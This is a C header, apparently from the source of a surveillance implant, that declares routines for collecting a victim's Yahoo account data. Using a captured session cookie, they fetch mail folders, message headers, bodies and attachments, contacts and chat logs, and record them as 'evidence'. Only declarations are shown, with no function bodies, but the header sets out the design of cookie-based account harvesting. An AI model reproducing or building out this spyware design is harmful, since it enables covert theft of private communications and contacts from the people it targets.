Social/Handler_Yahoo.h
#ifndef _YAHOO_H
#define _YAHOO_H
#include "..\\JSON\\JSON.h"
#define YAHOO_GLOBAL_IDENTIFIER "%253f.rand="
#define YAHOO_MAIL_IDENTIFIER ",[\"^all\",\""
#define YAHOO_CONTACT_IDENTIFIER "[\"ct\",\""
#define YAHOO_SERVERNAME_TAG "servername:\""
#define YAHOO_SERVERNAME_TAG_2 "data-host=\""
#define YAHOO_WSSID_TAG "wssid:\""
#define YAHOO_NEOGUID_TAG "neoguid:\""
#define YAHOO_UUID_TAG "uuid:\""
#define YAHOO_RANDOM_VALUE_TAG ".rand="
#define YAHOO_ALLOC_SIZE 512
typedef enum
{
YAHOO_SUCCESS = 0x100,
YAHOO_ERROR,
YAHOO_ALLOC_ERROR,
YAHOO_SKIP,
};
typedef enum
{
BOUNDARY_MAIL,
BOUNDARY_SECTION,
BOUNDARY_SUBSECTION
} YAHOO_BOUNDARY_TYPE;
typedef enum
{
EVIDENCE_CONTACTS,
EVIDENCE_MAILS
} YAHOO_EVIDENCE_TYPE;
typedef struct
{
LPWSTR strMailFolder;
LPWSTR strServerName;
LPWSTR strWSSID;
LPWSTR strNeoGUID;
LPWSTR strUUID;
LPWSTR strRndValue;
int nReqValue;
DWORD dwLowTS;
DWORD dwHighTS;
DWORD dwLastMailDate;
} YAHOO_CONNECTION_PARAMS, *LPYAHOO_CONNECTION_PARAMS;
typedef struct
{
LPWSTR strCompany;
LPWSTR strEmail;
LPWSTR strName;
LPWSTR strPhone;
} YAHOO_CONTACT_VALUES, *LPYAHOO_CONTACT_VALUES;
typedef struct
{
LPSTR strAttachment;
LPWSTR strEncodedAttachment;
DWORD dwSize;
} YAHOO_MAIL_ATTACHMENT, *LPYAHOO_MAIL_ATTACHMENT;
typedef struct
{
LPWSTR strBoundary;
LPWSTR strPartID;
} YAHOO_MAIL_BOUNDARY, *LPYAHOO_MAIL_BOUNDARY;
typedef struct
{
LPYAHOO_MAIL_BOUNDARY* lpBoundaries;
DWORD dwTotItems;
DWORD dwCurrentItem;
} YAHOO_MAIL_BOUNDARIES, *LPYAHOO_MAIL_BOUNDARIES;
typedef struct
{
LPWSTR strCids;
LPWSTR strDisposition;
LPWSTR strEncoding;
LPWSTR strFilename;
LPWSTR strPartId;
LPWSTR strSubType;
LPWSTR strText;
LPWSTR strTypeParams;
LPWSTR strType;
} YAHOO_MAIL_FIELDS, *LPYAHOO_MAIL_FIELDS;
typedef struct
{
LPWSTR strMailUser;
LPWSTR strPeers;
LPWSTR strPeersID;
LPWSTR strAuthor;
LPWSTR strAuthorID;
LPWSTR strText;
LPWSTR strType;
LPWSTR strSubType;
} YAHOO_CHAT_FIELDS, *LPYAHOO_CHAT_FIELDS;
DWORD AsciiBufToBase64(LPWSTR* pInStr, LPWSTR strEncodingAlg);
DWORD AsciiBufToQP(LPWSTR lpBuffer, DWORD dwSize, LPWSTR* lpUTFBuf);
//void AsciiCharToQP(CHAR ch, LPSTR lpOutBuf);
void AsciiCharToQP(WCHAR ch, LPSTR lpOutBuf);
//BOOL ConvertChar(CHAR ch, BOOL bEOL);
BOOL ConvertChar(WCHAR ch, BOOL bEOL);
DWORD ConvertToUTF8(LPWSTR pIn, LPSTR* pOut);
//void DumpYHTcpData(LPCWSTR lpFileName, char* lpBuffer, DWORD dwSize);
//void DumpYHTcpData(LPCWSTR lpFileName, WCHAR* lpBuffer, DWORD dwSize);
DWORD ReallocAndAppendString(__out LPWSTR *pBuffer, __in LPWSTR pwcsStrToAppend, __in LPWSTR pwcsStrAdd=NULL);
void zndelete(__in LPVOID* pMem);
void znfree(__in LPVOID* pMem);
DWORD YHAddBoundary(LPYAHOO_MAIL_BOUNDARY** pBoundaries, DWORD nItems, LPWSTR strBoundary, LPWSTR strPartID);
DWORD YHAddMailBoundary(LPWSTR * strMail, LPYAHOO_MAIL_BOUNDARIES lpMailBoundaries, BOOL bCloseSection);
DWORD YHAddAttachment(LPWSTR* strMail, LPYAHOO_CONNECTION_PARAMS lpYHParams, LPYAHOO_MAIL_FIELDS lpMailFields, LPSTR strMailID, LPSTR strCookie);
DWORD YHAddChat(LPWSTR * strChat, LPYAHOO_CHAT_FIELDS pFields);
DWORD YHAddSectionHeader(LPWSTR * strMail, LPYAHOO_MAIL_FIELDS pFields);
DWORD YHAddSectionText(LPWSTR * strMail, LPYAHOO_MAIL_FIELDS pFields);
DWORD YHAssembleMail(LPSTR strMailHeader, LPSTR strMailBody, LPSTR *strMail);
DWORD YHAddBoundary(LPYAHOO_MAIL_BOUNDARY** pBoundaries, DWORD nItems, LPWSTR strBoundary, double dwSectionStep);
LPYAHOO_MAIL_BOUNDARY* YHCreateBoundaryArray(DWORD nItems);
DWORD YHDelBoundary(LPYAHOO_MAIL_BOUNDARY* pBoundaries, DWORD dwItem);
DWORD YHEncodeAttachment(LPYAHOO_MAIL_ATTACHMENT pAttachment, LPWSTR strEncodingAlg);
DWORD YHExtractChatFields(JSONObject jMail, LPYAHOO_CHAT_FIELDS lpChatFields);
DWORD YHExtractMailFields(JSONObject jMail, LPYAHOO_MAIL_FIELDS lpMailFields, LPYAHOO_MAIL_BOUNDARIES lpMailBoundaries);
DWORD YHFreeBoundaries(LPYAHOO_MAIL_BOUNDARIES lpMailBoundaries);
DWORD YHFreeChatFields(LPYAHOO_CHAT_FIELDS pFields);
DWORD YHFreeConnectionParams(LPYAHOO_CONNECTION_PARAMS pYHParams);
DWORD YHFreeContactFields(LPYAHOO_CONTACT_VALUES pFields);
DWORD YHFreeMailFields(LPYAHOO_MAIL_FIELDS pYHMailFields);
void YHGetBoundaryValue(LPWSTR strHeader, LPWSTR * strBoundary);
DWORD YHGetChat(LPYAHOO_CHAT_FIELDS lpChatFields, LPSTR strMailID, LPYAHOO_CONNECTION_PARAMS lpYHParams, LPSTR strCookie);
DWORD YHGetConnectionParams(LPYAHOO_CONNECTION_PARAMS pYHParams, LPSTR strCookie);
DWORD YHGetFoldersName(JSONValue** jValue, LPYAHOO_CONNECTION_PARAMS pYHParams, LPSTR strCookie);
DWORD YHGetLastTimeStamp(LPYAHOO_CONNECTION_PARAMS pYHParams, LPSTR pstrName);
DWORD YHGetMail(LPSTR* strMail, LPSTR strMailID, LPYAHOO_CONNECTION_PARAMS pYHParams, LPSTR strCookie);
DWORD YHGetMailAttachment(LPSTR strMailID, LPYAHOO_CONNECTION_PARAMS pYHParams, LPYAHOO_MAIL_FIELDS pYHMailFields, LPSTR strCookie, LPYAHOO_MAIL_ATTACHMENT pAttachment);
DWORD YHGetMailBody(LPSTR strMailID, LPYAHOO_CONNECTION_PARAMS pYHParams, LPSTR strCookie, LPSTR* strMailBody);
DWORD YHGetMailHeader(LPSTR strMailID, LPYAHOO_CONNECTION_PARAMS pYHParams, LPSTR strCookie, LPSTR* strMailHeader);
DWORD YHGetMailsList(LPSTR strMailBoxName, LPSTR strCookie, LPYAHOO_CONNECTION_PARAMS pYHParams, JSONValue** jValue, JSONArray* pjMail, LPDWORD pdwNrOfMails);
DWORD YHLogContacts(LPSTR strContacts, LPYAHOO_CONNECTION_PARAMS pYHParams);
DWORD YHLogMails(LPSTR strRecvBuffer, LPYAHOO_CONNECTION_PARAMS pYHParams, LPSTR strCookie);
BOOL YHParseForParams(LPYAHOO_CONNECTION_PARAMS pYHParams, LPSTR strBuffer);
DWORD YHSetLastTimeStamp(LPYAHOO_CONNECTION_PARAMS pYHParams, LPSTR pstrName);
//social handlers
DWORD YahooMessageHandler(LPSTR strCookie);
DWORD YahooContactHandler(LPSTR strCookie);
#endif _YAHOO_H